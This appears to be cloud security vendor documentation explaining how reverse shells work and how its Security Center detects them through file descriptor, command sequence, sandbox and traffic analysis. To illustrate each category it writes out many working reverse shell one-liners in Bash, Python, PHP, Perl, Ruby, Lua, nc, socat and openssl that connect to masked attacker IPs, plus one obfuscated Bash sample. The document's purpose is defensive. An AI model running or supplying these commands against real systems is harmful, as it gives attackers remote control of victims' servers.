Attackers use reverse shells to control victim servers. The victim servers often reside in internal networks and are protected by firewall policies. This type of servers cannot be intruded by using forward connections. This topic describes the current situation of reverse shells, a common detection method of reverse shells, and an idea of detecting different types of reverse shells. This topic also describes multi-dimensional detection technologies provided by Security Center.

Background information

Attackers use reverse shells to control victim servers. An attacker specifies a server and redirects the standard input, standard output, or standard error that needs to be executed by a victim server to the server. The victim server actively connects to a program on the server of the attacker. The server listens to requests from the victim server, sends requests to the victim server, and obtains the execution results. This way, the attacker controls the victim server.

Current situation of reverse shells

Security Center summarizes the proportions of programming languages and tools that are exploited by reverse shells. The proportions are obtained based on the historical intrusions into Linux Elastic Compute Service (ECS) instances in Alibaba Cloud.

/dev/tcp in Bash is most frequently exploited to initiate interactive reverse shells. /dev/tcp is a built-in device file of Bash. /dev/tcp is available in most systems and makes reverse shells possible in most cases. The Python programming language ranks the second to initiate reverse shells. Python is easy to use, highly compatible, and flexible. The Go programming language is also used to initiate reverse shells. This figure also shows other languages and tools that can be used. To improve the efficiency in detecting reverse shells, a detection method that suits various scenarios is required

Common detection method

A common detection method is to extract the characteristics of reverse shells by using regular expressions and match command logs or traffic logs based on the characteristics. The method has the following shortcomings:
  • The collected command logs are incomplete. If you use Netlink to collect command logs, you cannot collect the complete raw commands when pipe or redirection operators are used. If you choose to patch your Bash, the command logs cannot be recorded in specific scenarios. For example, the victim server uses other shells such as zsh or ksh, or attackers upload Bash scripts that are compiled by themselves.
  • Regular expressions cannot prevent against all reverse shells. Attackers continuously explore new methods to bypass regular expressions-based matching. In actual scenarios, if a large number of complex regular expressions are used, performance is compromised. However, if regular expressions with weak rules are used, false positives increase.
  • The command logs or traffic logs cannot be matched based on the characteristics of reverse shells. After network traffic is encrypted, command logs or traffic logs cannot be matched based on the characteristics of reverse shells.

Idea of detecting different types of reverse shells

A detection method of reverse shells must focus on the underlying logic of reverse shells. From the perspective of detection, the underlying logic of reverse shells can be divided into three parts: network communication, command execution, and redirection methods.

The three parts together can build a data channel. Attackers can send requests to control victim servers by using this data channel. The three parts and their different implementations can be exploited to initiate various reverse shells. The following list describes the different implementations:
  • Network communication can be implemented by using different protocols, such as TCP, UDP, and ICMP. TCP includes HTTP and HTTPS. UDP includes DNS.
  • Command execution can be implemented by invoking shell interpreters, the GNU C Library (glibc), or Syscall.
  • Redirection can be implemented by using pipes, pairs of pseudo terminals, and memory files.
From the perspective of detection, reverse shells can be categorized as the following three types:
  • A reverse shell redirects the standard input and output to a socket.
    The following example is the most typical command for this type of reverse shell:
    bash -i >& /dev/tcp/10.10.XX.XX/666 0>&1
    The following examples are typical:
    • Example 1:
      bash -i >& /dev/tcp/10.10.XX.XX/6060 0>&1
    • Example 2:
      python -c 'import 
      socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
      s.connect(("10.10.XX.XX",6060));
      os.dup2(s.fileno(),0); 
      os.dup2(s.fileno(),1); 
      os.dup2(s.fileno(),2);
      p=subprocess.call(["/bin/sh","-i"]);'
    • Example 3:
      php -r '$sock=fsockopen("10.10.XX.XX",6060);exec("/bin/sh -i <&3 >&3 2>&3");'
    • Example 4:
      perl -e 'use 
      Socket;$i="10.10.XX.XX";$p=6060;  
      socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));
      if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");
      open(STDERR,">&S");
      exec("/bin/sh -i");};'
    • Example 5:
      ruby -rsocket -e'f=TCPSocket.open("10.10.XX.XX",6060).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
    • Example 6:
      lua -e 
      "require('socket');require('os');t=socket.tcp();t:connect('10.10.XX.XX','6060');os.execute('/bin/sh -i <&3 >&3 2>&3');"

    This type of reverse shell redirects the standard input, standard output, and standard error of bash -i to /dev/tcp Socket. Then, network connections are established.

    To detect this type of reverse shell, you can check whether the standard input and standard output are redirected to a socket, or whether the host or network logs match the characteristics of this type of reverse shell.

    Security Center can detect this type of reverse shell. An alert is generated when this type of bounce Shell is detected.

  • A reverse shell redirects the standard input and output to a socket by using pipes or pseudo terminals.
    This type of reverse shell redirects the standard input and output to pipes or pseudo terminals. The following example shows that a reverse shell redirects the standard input, output, and error of sh -i to the named pipe /tmp/f. In this situation, the encrypted communication data also flows to the named pipe.
    mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 0.0.XX.XX:666 > /tmp/f
    This type of reverse shell establishes connections to a socket and redirects the standard input and output to pipes or pseudo terminals. The following section lists examples of this type of reverse shell:
    • Example 1:
      nc 10.10.XX.XX 6060|/bin/sh|nc 10.10.XX.XX 5050 nc -e /bin/bash 10.10.XX.XX 6060 nc -c bash 10.10.XX.XX 6060 socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.XX.XX:6060
    • Example 2:
      mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.XX.XX 6060>/tmp/f
    • Example 3:
      mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.XX.XX:6060 > /tmp/s; rm /tmp/s
    • Example 4:
      mknod backpipe p; nc 10.10.XX.XX 6060 0<backpipe | /bin/bash 1>backpipe 2>backpipe
    • Example 5:
      exec 5<>/dev/tcp/10.10.XX.XX/6060;cat <&5|while read line;do $line >&5 2>&1;done
    • Example 6:
      telnet 10.10.10.10 6060 | /bin/bash | telnet 10.10.XX.XX 5050

    In some scenarios, the standard input and output may be redirected several times to form a data channel. The data channel can be detected by tracking the relationship between file descriptors and processes.

    Security Center can detect this type of reverse shell. The following figure shows an alert generated after Security Center detects such a reverse shell.

    This type of reverse shell is initiated more frequently. The method of redirecting the standard input and output by using pseudo terminals is easy to use.
    python -c 'import 
    socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.XX.XX",10006));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

    The principles of redirecting the standard input and output by using pseudo terminals and pipes are the same. Reverse shells that redirect the standard input and output by using pseudo terminals are hard to detect. This is because the standard input and output of pseudo terminals are the same as those of working terminals. These pseudo terminals also have similar logs on containers and service agents. As a result, false negatives and false positives increase. To detect this type of reverse shell, Security Center analyzes the relationship between file descriptors, process logs, and network logs. The following figure shows an alert generated after Security Center detects a reverse shell that redirects the standard input and output by using pseudo terminals.

  • A reverse shell redirects the standard input by using a programming language.
    This type of reverse shell redirects the standard input by using a programming language. The methods of redirecting the standard output and error are not limited. The following example is the most typical command for this type of reverse shell:
    python - c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('0.0.0.0',666))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,Shell=True);s.send(proc.stdout.read()+proc.stderr.read())\")"
    An attacker uses a programming language to redirect the standard input. The following section lists examples of this type of reverse shell:
    • Example 1:
      python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.10.XX.XX',6060))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), Shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
    • Example 2:
      lua5.1 -e 'local host, port = "10.10.XX.XX", 6060 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
    • Example 3:
      ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.XX.XX","6060");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

    Commands run by reverse shells and by normal services are difficult to distinguish. Security Center checks processes and commands against the characteristics of this type of reverse shell. In addition, Security Center uses the models of the abnormal command sequence and behavior, and the model of abnormal shell startups to detect this type of reverse shell.

    The model of the abnormal command sequence and behavior is developed based on Alibaba Cloud Realtime Compute. The model analyzes command sequences and the behavior after an attacker controls a victim server. Then, the model compares the results with the characteristics of this type of reverse shell to determine whether a reverse shell is initiated. The model of abnormal shell startups analyzes commands based on multi-dimensional characteristics and the historical behavior of the victim servers to determine whether a reverse shell is initiated. If a reverse shell is initiated, this model also determines whether to generate an alert. The following figure shows an alert generated after Security Center detects a reverse shell.

Multi-dimensional detection method provided by Security Center

Attack and defense technologies are always developing in constant confrontation. If a breakthrough is made in attack technologies, all defense technologies may become invalid. All detection methods of reverse shells are imperfect, especially the method of detecting reverse shells that redirect the standard input by using a programming language. Security Center supports in-depth detection and adopts a cross-dimension method to detect reverse shells. Security Center detects reverse shells in different intrusion phases by using specific technologies. The technologies include process characteristics coverage, file descriptor analysis, command sequence and behavior analysis, abnormal shell startup, binary sandbox, script sandbox, traffic characteristics coverage, and countermeasure behavior detection. This improves the efficiency in detecting reverse shells.

Security Center uses the methods of detecting file descriptors, abnormal command sequences and behavior, abnormal shell startups, and common commands and network characteristics. For more information, see Idea of detecting different types of reverse shells. Security Center also uses the following detection methods:

  • Script sandbox

    For reverse shells that use scripts, Security Center provides a specific solution.

    Security Center detects scripts stored on your servers. The scripts can use the following programming languages: Bash, Python, Perl, VBScript, PowerShell, Batch, and JAR.
    "${@~~}"  "${@^^}"   $BASH  ${*%%$9tcW\)zX}   <<< "$(  "${@~~}"  $'\162'''e${*}v <<< '
    }^^*{$   ")     }^^*{$  ;   }4S:\{\/CZ.!\?//@{$   }^^@{$   "}~~H7ONC{$"   s%  f\"t"n""ir*$p}@!{$
    },*{$ }L>JO%*{$ &&  }ca\L&[\%%@{$ '"'"'1&>0 3332/1.1.1.1/PCT/VED/ &> I- HSAB'"'"'=H7ONC    
    ($"   l}#VDG~g/g:fii\//*{$a"}~@{$"v'"'"'e'"'"'   }~*{$  '  ${@~}   ${@^}  ;   ${*%%S9;fj$^Y}    )"   ${*,,} ${@%r-,,}

    Security Center dynamically de-obfuscates collected logs by using the trace mode of each programming language.

    In recent years, the number of Java applications increases. Reverse shells initiated by using JAR packages are increasing as well. Security Center statically decompiles packaged files, such as JAR packages, and takes the running status of the JAR packages into consideration to determine whether reverse shells exist.

    The confrontation between attack and defense is escalating so that fileless attacks are becoming more popular. Security Center provides a detection method for fileless reverse shells.

  • Binary sandbox

    Security Center detects and processes binary reverse shells initiated by using C, C++, Go, or MeterPreter shellcode. Security Center imports function characteristics, code characteristics, and dynamic behavior characteristics of binary files in sandboxes to detect binary reverse shells.

  • Traffic characteristics analysis

    Security Center supports common communication characteristics of shells. This helps improve the efficiency in detecting reverse shells.

  • Detection of bypass methods

    Security Center can identify common bypass methods, such as replacing system shells and command coding. This helps improve the efficiency in detecting reverse shells.